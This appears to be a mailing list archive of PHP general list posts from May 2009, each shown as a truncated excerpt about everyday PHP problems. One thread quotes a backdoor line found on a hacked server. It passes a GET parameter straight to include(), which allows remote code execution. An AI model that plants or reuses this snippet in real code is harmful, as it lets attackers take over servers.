[PHP] fileinfo on RHEL5

2009-05-12 Thread brian
RHEL5/PHP 5.1.6 I'm having some trouble getting the Fileinfo package working. It installed fine, and phpinfo() says it's enabled. But it consistently returns an empty string when getting the MIME of a file. /usr/share/pear/bin/pecl install fileinfo vi /etc/php.d/fileinfo.ini extension=fileinf

[PHP] Urgent problem PCRE or DOM help

2009-05-12 Thread Lenin
Home | My Interface My Interface DONT READ TABLE Step-By-Step Instructions: P tags IMG tags DONT READ I am having trouble with the above HTML semantics. I just need to read the content inside the TD with Class name text11(its the only class in the page as well). Need to omit the table i

Re: [PHP] handling chunked input from php://stdin

2009-05-12 Thread Shawn McKenzie
whisperstream wrote: > I have a server running that receives xml formatted events from other > services I have no control over. For certain events the transfer-encoding > is chunked. > > I was just doing > > $input = file_get_contents('php://stdin'); > > and this works well until there is chunk

Re: [PHP] Watermarking of images

2009-05-12 Thread PJ
Robert Cummings wrote: > On Tue, 2009-05-12 at 18:53 -0400, PJ wrote: > >> Robert Cummings wrote: >> >>> On Tue, 2009-05-12 at 16:31 -0400, tedd wrote: >>> >>> At 3:48 PM -0400 5/12/09, Robert Cummings wrote: > On Tue, 2009-05-12 at 09:54 -0400, te

Re: [PHP] database session management with mdb2

2009-05-12 Thread Michael A. Peters
Michael A. Peters wrote: The database session management class I'm using is something I downloaded off the web several years ago. I ported it to use mdb2 but it sometimes fails in a strange way if the session is expired or if the browser sends a session cookie that does not exist. With erro

Re: [PHP] Watermarking of images

2009-05-12 Thread Robert Cummings
On Tue, 2009-05-12 at 18:53 -0400, PJ wrote: > Robert Cummings wrote: > > On Tue, 2009-05-12 at 16:31 -0400, tedd wrote: > > > >> At 3:48 PM -0400 5/12/09, Robert Cummings wrote: > >> > >>> On Tue, 2009-05-12 at 09:54 -0400, tedd wrote: > >>> > At 12:27 PM -0700 5/11/09, Daevid

[PHP] database session management with mdb2

2009-05-12 Thread Michael A. Peters
The database session management class I'm using is something I downloaded off the web several years ago. I ported it to use mdb2 but it sometimes fails in a strange way if the session is expired or if the browser sends a session cookie that does not exist. With error reporting turned off thi

[PHP] handling chunked input from php://stdin

2009-05-12 Thread whisperstream
I have a server running that receives xml formatted events from other services I have no control over. For certain events the transfer-encoding is chunked. I was just doing $input = file_get_contents('php://stdin'); and this works well until there is chunked input. Then I tried $handle = fop

Re: [PHP] Watermarking of images

2009-05-12 Thread PJ
Robert Cummings wrote: > On Tue, 2009-05-12 at 16:31 -0400, tedd wrote: > >> At 3:48 PM -0400 5/12/09, Robert Cummings wrote: >> >>> On Tue, 2009-05-12 at 09:54 -0400, tedd wrote: >>> At 12:27 PM -0700 5/11/09, Daevid Vincent wrote: > > > Here's an example with code: >>>

RE: [PHP] Watermarking of images

2009-05-12 Thread Robert Cummings
On Tue, 2009-05-12 at 16:31 -0400, tedd wrote: > At 3:48 PM -0400 5/12/09, Robert Cummings wrote: > >On Tue, 2009-05-12 at 09:54 -0400, tedd wrote: > >> At 12:27 PM -0700 5/11/09, Daevid Vincent wrote: > >> > > > Here's an example with code: > >> >> > > >> > > > http://webbytedd.com/b/waterm

RE: [PHP] Watermarking of images

2009-05-12 Thread tedd
At 3:48 PM -0400 5/12/09, Robert Cummings wrote: On Tue, 2009-05-12 at 09:54 -0400, tedd wrote: At 12:27 PM -0700 5/11/09, Daevid Vincent wrote: > > > Here's an example with code: >> > > > > http://webbytedd.com/b/watermark/ >> >> I can't read the text over the dog's nose... ;) > >Yo

Re: [PHP] Mail subject encoding breaks

2009-05-12 Thread Tom Worster
On 5/11/09 11:58 AM, "Thodoris" wrote: > >> On 11 May 2009 at 18:25, Thodoris wrote: >> >> >>> Hi gang, >>> I am using phpmailer to send some mail notifications in an intranet >>> I've made. This is a sample code: >>> >> >> >>> $e->Subject = "This is δφκξγκδφη garbidge κηδφκξγσ"

RE: [PHP] Watermarking of images

2009-05-12 Thread Robert Cummings
On Tue, 2009-05-12 at 09:54 -0400, tedd wrote: > At 12:27 PM -0700 5/11/09, Daevid Vincent wrote: > > > > Here's an example with code: > >> > > > > > http://webbytedd.com/b/watermark/ > >> > >> I can't read the text over the dog's nose... ;) > > > >You're lucky. I don't see ANYTHING (as mention

RE: [PHP] Watermarking of images

2009-05-12 Thread Daevid Vincent
yep. works in both now. :) > -Original Message- > From: tedd [mailto:tedd.sperl...@gmail.com] > Sent: Tuesday, May 12, 2009 6:55 AM > To: php-general@lists.php.net; Daevid Vincent > Subject: RE: [PHP] Watermarking of images > > At 12:27 PM -0700 5/11/09, Daevid Vincent wrote: > > > > H

Re: [PHP] Nasty hacker spammer script

2009-05-12 Thread The Doctor
On Tue, May 12, 2009 at 07:40:57AM +0100, Ashley Sheridan wrote: > On Mon, 2009-05-11 at 17:59 -0600, The Doctor wrote: > [snip][/snip] > > You find this on your server? > > > Ash > www.ashleysheridan.co.uk > Courtesy of a PHP-hacked shell. -- Member - Liberal International This is doc...@n

Re: [PHP] How to include a java script in a php tag (form)

2009-05-12 Thread Dan Shirah
> > > and there is a special > > $html = ' blablablablabla '; > > where all the html code is written for the form (table,...). > > The problem is that I have to include a javascript to be able to send the > form to my email address. I don't know where and how to put it. > > Could someone help

Re: [PHP] Re: irrational behavior

2009-05-12 Thread PJ
Shawn McKenzie wrote: > PJ wrote: > >> Could somebody please explain this? >> When the line - sort($category) is commented out, the output returns >> Notice: Undefined offset: in the line "36" for all the repeats (29 in >> this case) >> > > Sure it makes sense and is rational, you just have

Re: [PHP] irrational behavior SOLVED

2009-05-12 Thread PJ
Jan G.B. wrote: > 2009/5/12 PJ : > >> Could somebody please explain this? >> When the line - sort($category) is commented out, the output returns >> Notice: Undefined offset: in the line "36" for all the repeats (29 in >> this case) >> > > Sure thing if you consider this: > > > > >> The

[PHP] Re: irrational behavior

2009-05-12 Thread Shawn McKenzie
PJ wrote: > Could somebody please explain this? > When the line - sort($category) is commented out, the output returns > Notice: Undefined offset: in the line "36" for all the repeats (29 in > this case) Sure it makes sense and is rational, you just have no idea what you're doing :-) > The code b

Re: [PHP] irrational behavior

2009-05-12 Thread Robert Stankiewicz
Maybe, because of this ? $category[$row['name']] = $row; . $cat = $category[$ii]['name']; //===this is line 36== best regards Robert -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php

Re: [PHP] Re: Trying to create a colortable - what am I missing here?

2009-05-12 Thread Thodoris
On Tue, 2009-05-12 at 18:05 +0300, Thodoris wrote: Still curious about the right script though (if this is possible of course). Of course it's possible... but you're probably not going to get the results you want since you're taking 3 dimensions and trying to push them into 2. You'll

Re: [PHP] irrational behavior

2009-05-12 Thread Jan G.B.
2009/5/12 PJ : > Could somebody please explain this? > When the line - sort($category) is commented out, the output returns > Notice: Undefined offset: in the line "36" for all the repeats (29 in > this case) Sure thing if you consider this: > The code below: > $SQL = "SELECT name >FRO

[PHP] Re: irrational behavior

2009-05-12 Thread Nathan Rixham
PJ wrote: Could somebody please explain this? When the line - sort($category) is commented out, the output returns Notice: Undefined offset: in the line "36" for all the repeats (29 in this case) The code below: ", $cat, ""; $ii++; } $ii = $lastIndex; //echo $category[$ii]['category']; w

Re: [PHP] irrational behavior

2009-05-12 Thread PJ
Robert Stankiewicz wrote: > Maybe, because of this ? >> $category[$row['name']] = $row; >> > >> $cat = $category[$ii]['name']; //===this is line >> 36== >> > > best regards > Robert > I'm afraid you lose me completely. What does the sort($category) have to d

Re: [PHP] irrational behavior

2009-05-12 Thread Thodoris
Could somebody please explain this? When the line - sort($category) is commented out, the output returns Notice: Undefined offset: in the line "36" for all the repeats (29 in this case) The code below: ", $cat, ""; $ii++; } $ii = $lastIndex; //echo $category[$ii]['category']; while ($

Re: [PHP] Re: Trying to create a colortable - what am I missing here?

2009-05-12 Thread Robert Cummings
On Tue, 2009-05-12 at 18:05 +0300, Thodoris wrote: > > Still curious about the right script though (if this is possible of > course). Of course it's possible... but you're probably not going to get the results you want since you're taking 3 dimensions and trying to push them into 2. You'll notice

Re: [PHP] irrational behavior

2009-05-12 Thread Thodoris
Could somebody please explain this? When the line - sort($category) is commented out, the output returns Notice: Undefined offset: in the line "36" for all the repeats (29 in this case) The code below: ", $cat, ""; $ii++; } $ii = $lastIndex; //echo $category[$ii]['category']; while ($ii

[PHP] How to include a java script in a php tag (form)

2009-05-12 Thread Matthieu
Hello, To be clear, my php file www.auditgratuit.be/copropriete.php doesn't work to send the form. My page starts with The problem is that I have to include a javascript to be able to send the form to my email address. I don't know where and how to put it. Could someone help me please? Tha

[PHP] irrational behavior

2009-05-12 Thread PJ
Could somebody please explain this? When the line - sort($category) is commented out, the output returns Notice: Undefined offset: in the line "36" for all the repeats (29 in this case) The code below: ", $cat, ""; $ii++; } $ii = $lastIndex; //echo $category[$ii]['category']; while ($ii <=

Re: [PHP] Re: Trying to create a colortable - what am I missing here?

2009-05-12 Thread Thodoris
Thodoris wrote: דניאל דנון wrote: I've tried to make a color table, but I am missing something. not in the color-table-code itself, but in somewhere else... I just can't find... untested but try.. // 4096*4096 = 16777216 = FF+1 $im = imagecreate(4096, 4096); $white =

Re: [PHP] Can not read write file from Desktop

2009-05-12 Thread Thodoris
Thodoris wrote: hi I was trying to read a file from Desktop (Centos), Simply saying (php code file is in /var/www/html/ ) if (file_exists("/root/Desktop/conf_files_linux")) echo "yes file is there"; else echo "no none"; It gives me none. If i place conf_files_linux file in /var/www/html.

RES: RES: [PHP] CURL problems still

2009-05-12 Thread Jônatas Zechim
Hi Terion, I thing the problems is the time limit on your Server. Try this now: Test the var before insert into db: If(!isset($crime)){$crime=''} After u remove from the db the unwanted lines. On the end of the file u do this: $letters=array(); for($i='A';$i<='Z';$i++){$letters[$i]=$i;if($i==

Re: RES: [PHP] CURL problems still

2009-05-12 Thread Nathan Rixham
Nathan Rixham wrote: Miller, Terion wrote: Well I tried it and still it stopped at the "C's" 1: your script is timing out, you need to set the time limit higher set_time_limit(0); 2: foreach($html->find('table') as $table) { $rows = explode('' , $table ); $headerCells = explode('', array_shi

RE: [PHP] Watermarking of images

2009-05-12 Thread tedd
At 12:27 PM -0700 5/11/09, Daevid Vincent wrote: > > Here's an example with code: > > > http://webbytedd.com/b/watermark/ I can't read the text over the dog's nose... ;) You're lucky. I don't see ANYTHING (as mentioned weeks ago already)... XP. FF 3.0.10 and IE 6. BOTH do not work. F

Re: [PHP] Can not read write file from Desktop

2009-05-12 Thread Peter Ford
Thodoris wrote: > >> hi >> I was trying to read a file from Desktop (Centos), >> >> Simply saying (php code file is in /var/www/html/ ) >> >> if (file_exists("/root/Desktop/conf_files_linux")) >> echo "yes file is there"; >> else >> echo "no none"; >> >> It gives me none. >> If i place conf_files_

Re: [PHP] Can not read write file from Desktop

2009-05-12 Thread Vikas Sharma
thanks for replying >From command line can access that file. But i need some interface, through that i want to change some files. I am using apache (httpd) server. Now i need to give access to apache user of those folders, which is not recommended as per you. or in order to use the suexec featu

Re: RES: [PHP] CURL problems still

2009-05-12 Thread Nathan Rixham
Miller, Terion wrote: Well I tried it and still it stopped at the "C's" 1: your script is timing out, you need to set the time limit higher set_time_limit(0); 2: foreach($html->find('table') as $table) { $rows = explode('' , $table ); $headerCells = explode('', array_shift($rows)); $struct =

Re: [PHP] Re: Trying to create a colortable - what am I missing here?

2009-05-12 Thread Peter Ford
Thodoris wrote: > >> דניאל דנון wrote: >>> I've tried to make a color table, but I am missing something. not in the >>> color-table-code itself, but in somewhere else... I just can't find... >> >> untested but try.. >> >> // 4096*4096 = 16777216 = FF+1 >> $im = imagecreate(4096, 4096); >> $whi

Re: [PHP] Re: Trying to create a colortable - what am I missing here?

2009-05-12 Thread Thodoris
דניאל דנון wrote: I've tried to make a color table, but I am missing something. not in the color-table-code itself, but in somewhere else... I just can't find... untested but try.. // 4096*4096 = 16777216 = FF+1 $im = imagecreate(4096, 4096); $white = imagecolorallocate($im, 0, 0, 0); $r

Re: [PHP] Re: Can includes be used for head tags?

2009-05-12 Thread Nathan Rixham
tedd wrote: At 9:32 PM +0100 5/11/09, Nathan Rixham wrote: Gary wrote: Thank you to everyone again for your help... Gary ""Gary"" wrote in message news:52.b9.21821.82558...@pb1.pair.com... I was thinking of creating a php include for the tags for a site. Is this possible? Gary ju

Re: RES: [PHP] CURL problems still

2009-05-12 Thread Miller, Terion
> > Bastien, could you give me an example of what you mean? > would it be $Name = "" > > like that? > > Thanks for the ideas everyone! > >> PHP General Mailing List (http://www.php.net/) >> To unsubscribe, visit: http://www.php.net/unsub.php >> > > Try Imitliazing the variables at the top of the

[PHP] Re: Can includes be used for head tags?

2009-05-12 Thread tedd
At 9:32 PM +0100 5/11/09, Nathan Rixham wrote: Gary wrote: Thank you to everyone again for your help... Gary ""Gary"" wrote in message news:52.b9.21821.82558...@pb1.pair.com... I was thinking of creating a php include for the tags for a site. Is this possible? Gary just an idea..

Re: [PHP] Can not read write file from Desktop

2009-05-12 Thread Thodoris
hi I was trying to read a file from Desktop (Centos), Simply saying (php code file is in /var/www/html/ ) if (file_exists("/root/Desktop/conf_files_linux")) echo "yes file is there"; else echo "no none"; It gives me none. If i place conf_files_linux file in /var/www/html. i get yes... After

Re: [PHP] Re: Mail subject encoding breaks

2009-05-12 Thread Thodoris
Hello, on 05/11/2009 12:25 PM Thodoris said the following: This script seems to work ok in a freebsd development server I have but a linux production machine breaks the subject's encoding for some unexpected reason. The subject has a mix of English and Greek characters that FreeBSD seems to

[PHP] Can not read write file from Desktop

2009-05-12 Thread Vikas Sharma
hi I was trying to read a file from Desktop (Centos), Simply saying (php code file is in /var/www/html/ ) if (file_exists("/root/Desktop/conf_files_linux")) echo "yes file is there"; else echo "no none"; It gives me none. If i place conf_files_linux file in /var/www/html. i get yes... After ch

Re: [PHP] Re: [php] tcp server connection

2009-05-12 Thread Per Jessen
Nathan Rixham wrote: > Andrew Williams wrote: >> Can someone help me about how to retrieve data using TCP server >> connection >> > > you'll need to be a bit more specific to get any useful help back > mate.. > Just point your browser to "http://example.com/blah/blah"; and you'll get some data

[PHP] Re: [php] tcp server connection

2009-05-12 Thread Nathan Rixham
Hi Andrew, You'll be needing the stream functions I'd guess (this si how I always do it, with no problems) http://php.net/stream_socket_client is your starting point. Many Regards, Nathan Andrew Williams wrote: I need to connect to server using IP connection to get raw data, process the ra

[PHP] Re: [php] tcp server connection

2009-05-12 Thread Nathan Rixham
Andrew Williams wrote: Can someone help me about how to retrieve data using TCP server connection you'll need to be a bit more specific to get any useful help back mate.. -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php

[PHP] Re: Nasty hacker spammer script

2009-05-12 Thread Nathan Rixham
The Doctor wrote: Has anyone seen this before? if (trim($_GET['x'])!=''){...@include($_GET['x']);exit();} lol - that's really bad if you're going to waste your time exploiting peoples stuff at least: make it so it'll actually run something don't include your personal email in the script encry

[PHP] [php] tcp server connection

2009-05-12 Thread Andrew Williams
Can someone help me about how to retrieve data using TCP server connection -- Best Wishes A Williams